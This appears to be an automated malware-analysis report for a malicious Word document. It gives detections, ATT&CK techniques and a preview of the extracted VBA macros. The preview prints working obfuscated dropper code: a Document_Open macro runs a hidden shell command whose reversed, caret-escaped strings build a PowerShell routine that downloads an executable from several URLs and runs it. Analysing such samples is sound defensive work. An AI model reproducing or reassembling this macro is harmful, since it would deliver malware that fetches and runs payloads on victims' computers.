MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro that is automatically executed upon opening the document. This macro utilizes the Shell() function to execute a command, likely to download and run a secondary payload. The obfuscated strings within the script suggest an attempt to conceal the malicious activity, and the presence of the Document_Open macro indicates a direct execution attempt.
Heuristics 5
-
ClamAV: Doc.Malware.Generic-6691317-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6691317-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5397 bytes |
SHA-256: 2cdc542ef7a60ed31f16b978fb014ab31d6c16eb1e7fd85d116809c2d43c5374 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "frjihcZVabZB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Shell Format(rvVfw) + YWbuFPuIONz + wTWvjojZwwTEo + zkjhcoasm + jjOckS + qjbut + YIdvtzbw + HnJFdqqpM, vbHide
End Sub
Attribute VB_Name = "YZZwJvBZ"
Function zkjhcoasm()
On _
Error _
Resume _
Next
Month "h" + "193794809"
Month "C" + "382373325" + "jWKmAWnkLovUK" + "HCYlVVNTpzJ"
YOlRXtfwjkC = Chr(13 + 18 + 7 + 12 + 49) + "md /" + "V" + "/" + Chr(9 + 12 + 5 + 8 + 33) + Chr(4 + 5 + 2 + 4 + 19) + "s^" + "e^t" + " ^0"
Month "Nh" + "229110695" + "5892" + "183307552"
Month "jjQjNdsYRB" + "CKvAOfSRFif"
Month "7512" + "8232"
Month "jaml" + "KX" + "kHfmpUCc" + "am"
Month "J" + "8061" + "106" + "5775"
NwQfbb = "R^uH= " + " ^ ^ " + " ^ ^ " + "^ " + "^" + " ^ " + " ^}}" + "{^h" + Chr(13 + 18 + 7 + 12 + 49) + "^ta" + Chr(13 + 18 + 7 + 12 + 49) + "}"
Month "To" + "2183" + "2022" + "208383919"
Month "Ra" + "fm"
Month "cj" + "CDrdH" + "WdnO" + "8052"
Month "ir" + "zBoASj" + "100742043" + "4670"
nDrNQUwRfz = "^" + ";^k^a" + "^e" + "r^b^;E" + "j" + "^J^" + "$ " + "me" + "^t^I^-"
Month "D" + "HjvnSTG"
Month "524050229" + "7684"
Month "556" + "mcDj"
jcEEGiQz = "^e^" + "kovn^I;" + ")^E^j" + "J$" + "^ "
Month "9001" + "24022473"
hNuVadAWKYw = ",^SAf$(" + "^el^iF^" + "dao^ln" + "^w^" + "o^D" + "^.j^W" + "r${" + "yr" + "t{)" + Chr(13 + 18 + 7 + 12 + 49) + "^"
zkjhcoasm = YOlRXtfwjkC + NwQfbb + nDrNQUwRfz + jcEEGiQz + hNuVadAWKYw
Month "DqpGdqi" + "uk"
End Function
Function jjOckS()
On _
Error _
Resume _
Next
Month "bOYimDMjv" + "BfD" + "nvaQubENhAGF" + "BY"
Month "3090" + "28218384"
Month "AM" + "cUzjOV"
lSobWVsw = "u^i^$" + " " + "ni^" + " S^Af" + "$(^h" + Chr(13 + 18 + 7 + 12 + 49) + "a" + "ero^f;'" + "e^xe." + "'^+" + "^fG^i" + "$^+"
Month "Fzmqc" + "405051823" + "JlDw" + "NhYX"
Month "Y" + "hS"
Month "6367" + "329373959"
Month "333981403" + "9437"
Month "KHYrATZPT" + "9944"
vfDab = "'\" + "'^+" + Chr(13 + 18 + 7 + 12 + 49) + "i" + "lb^u^p:" + "vne$=" + "E^j^" + "J$^;" + "^'726' " + "^=^ ^f" + "^G^i^$^" + ";)'" + "@^"
Month "646" + "150470254" + "OZ" + "MmzOl"
Month "98447993" + "5047"
iTDiOXXrGjj = "'(^ti" + "^l^p" + "S^" + "." + "'t1f" + Chr(13 + 18 + 7 + 12 + 49) + "^d" + "^h" + "^DR/gmi" + "/" + "m^o" + Chr(13 + 18 + 7 + 12 + 49) + "^." + "gninna^" + "l^" + "p-^y^a^"
Month "LjX" + "1363"
DbbjzHf = "dn" + "u" + "^" + "s//:" + "p^t^" + "th@7^s^"
Month "395704547" + "EdNbIDT"
Month "135751151" + "307608612"
Month "F" + "3768"
Month "232012190" + "iMu" + "dO" + "jk"
sLlAKCIbU = "aMvnpG" + "/m^o" + Chr(13 + 18 + 7 + 12 + 49) + "^.ytr^e" + "p^orp-" + "^" + "tva" + "//^:^p" + "^tth^@x" + "a^0hl" + "x6L^8j"
Month "YUMwzR" + "199767186" + "394025302" + "4204"
Month "5511" + "AjTiVBOSwYq" + "FnQVtD" + "480826412"
Month "1800" + "Y"
Month "426709181" + "jK"
ijaDwd = "/" + "mo" + Chr(13 + 18 + 7 + 12 + 49) + "." + "t^a" + "h" + Chr(13 + 18 + 7 + 12 + 49) + "^" + "eti^l^a" + "k//:" + "p^t" + "^th^@^l" + "V^Yn" + "S8^h^" + "Y"
Month "twBmiJ" + "TNTClZPjTVhDNz" + "lvpHjNp" + "1988"
Month "koN" + "460793219"
Month "8645" + "pn"
ujabcw = "YB/" + "ur^" + ".yt^i" + Chr(13 + 18 + 7 + 12 + 49) + "^x^a" + "//^" + ":^p" + "t" + "^t^h^@" + "n^A^3" + "^u^F" + "1^xf^P/"
Month "SraP" + "KuHO"
Month "1580" + "LMOI"
QDGUqCmXhEX = "orp" + ".s^tr^a" + "ve" + "^d.^ai" + "d^" + "e^mkra" + "d//^" + ":p^t^t" + "^h" + "^'=" + Chr(13 + 18 + 7 + 12 + 49) + "u^i" + "$;^t" + "ne" + "i^l" + Chr(9 + 12 + 5 + 8 + 33) + "be^"
jjOckS = lSobWVsw + vfDab + iTDiOXXrGjj + DbbjzHf + sLlAKCIbU + ijaDwd + ujabcw + QDGUqCmXhEX
Month "bOMzNkKIJ" + "vX" + "476190279" + "T"
Month "WH" + "Fwad" + "168944056" + "8704"
Month "RkZj" + "275821402" + "FpNtWoSlW" + "HQzFS"
Month "aJVS"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.